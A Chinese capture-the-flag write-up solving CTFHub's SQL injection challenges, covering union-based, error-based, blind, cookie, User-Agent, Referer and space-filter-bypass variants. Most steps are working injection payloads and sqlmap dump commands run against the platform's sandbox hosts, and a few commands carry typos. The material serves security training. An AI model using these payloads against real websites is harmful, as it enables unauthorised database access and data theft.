CTFHub-SQL注入-WP
1.整数型注入
1.题目说输入1,先将1输入查看结果

2.接着输入4-1,发现输出的结果为4-1,判定存在整数型注入

3.查询字段数,出现了回显,判断这里的字段数为2
1 order by 2

4.判断注入点在2的位置,也就是data
-1 union select 1,2

5.查询数据库名,得知为sqli
-1 union select 1,database()

6.查询该库下的表名,得知为news、flag
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)


7.查询flag表下的字段
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

8.发现了flag字段,去查询flag字段的内容,最终得到flag

2.字符型注入
1.输入1=2,回显正常

2.输入1’,发现报错,判断为字符型注入

3.第一关已经了解数据库版本,数据库sqli,列数,以及注入点,所以直接爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

4.还是熟悉的news和flag,按照之前的流程继续爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

5.回显正常,继续爆字段内容,得到flag
-1' union select 1,(select flag from flag)#

3.报错注入
1.输入1’发现报错的回显,判断为报错注入

2.使用extractvalue()函数进行注入爆库
1 and extractvalue(null,concat(0x7e,(database()),0x7e))

3.发现库名为sqli,继续爆表,发现第一个表名为flag
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

4.继续爆字段名,发现flag字段
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

5.爆字段内容得到flag
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

4.布尔盲注
1.输入1,返回结果为成功

2.输入1’,返回结果为失败,判断为布尔类型,只会返回成功和失败

3.直接使用SQLMap工具进行盲注,结果得出sqli库,其他三个都是系统库
sqlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" --dbs

4.接着进行爆表,得到flag表和news表
sqlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

5.直接爆flag表的字段内容,得到flag
qlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" -T flag columns --dump

5.时间盲注
1.打开又看到跟之前相同的界面

2.根据之前注入的逻辑,直接构造SQLMap的命令进行注入
sqlmap -u "http://challenge-5ef64e08cdb2fa76.sandbox.ctfhub.com:10800/?id=-1" -D sqli -T flag -C flag --dump

3.得到flag

6.MySQL注入
1.这个和之前的不同,要自己去手工注入得到表名和字段名,因为之前已经知道库名了,所以直接注入
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

2.得到表名之后,继续注入获取字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eppymlmhfq'

3.得到字段名之后,查询字段内容得到flag
-1 union select 1,group_concat(itcwfaaoes) from eppymlmhfq

7.cookie注入
1.打开页面,先用SQLMap跑一下

2.爆库名,其他三个是系统库,老样子目标还是sqli
sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2


3.爆表名
sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2

4.最后爆表内字段的数据
sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T btnogjokyv --columns --dump --level 2

8.UA注入
1.跟之前的cookie很像,接着爆库名
-1 union select 1, database()

2.爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

3.爆字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eovrhvzjra'

4.爆字段内容
-1 union select 1,group_concat(nxqsvjgwpv) from eovrhvzjra

9.Refer注入
Referer:-1 union select 1, database()

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ohixnyyvlj'

4.
-1 union select 1,group_concat(mcwfssybmd) from ohixnyyvlj
10.过滤空格
1.在URL中进行注入,过滤空格的意思就是不能输入空格,所以换成*进行注入
-1/**/union/**/select/**/1,database()

2.爆库之后接着爆表
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

3.爆表之后接着爆字段名
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=%27sqli%27/**/and/**/table_name=%27ojsuqnqjos%27

4.得到字段名之后爆字段内容得到flag
-1/**/union/**/select/**/1,group_concat(ahsxijxrsv)/**/from/**/sqli.ojsuqnqjos

11.综合训练 SQLI-LABS
无靶场,需要自己搭建
版权归原作者 CS0_IceCream 所有, 如有侵权,请联系我们删除。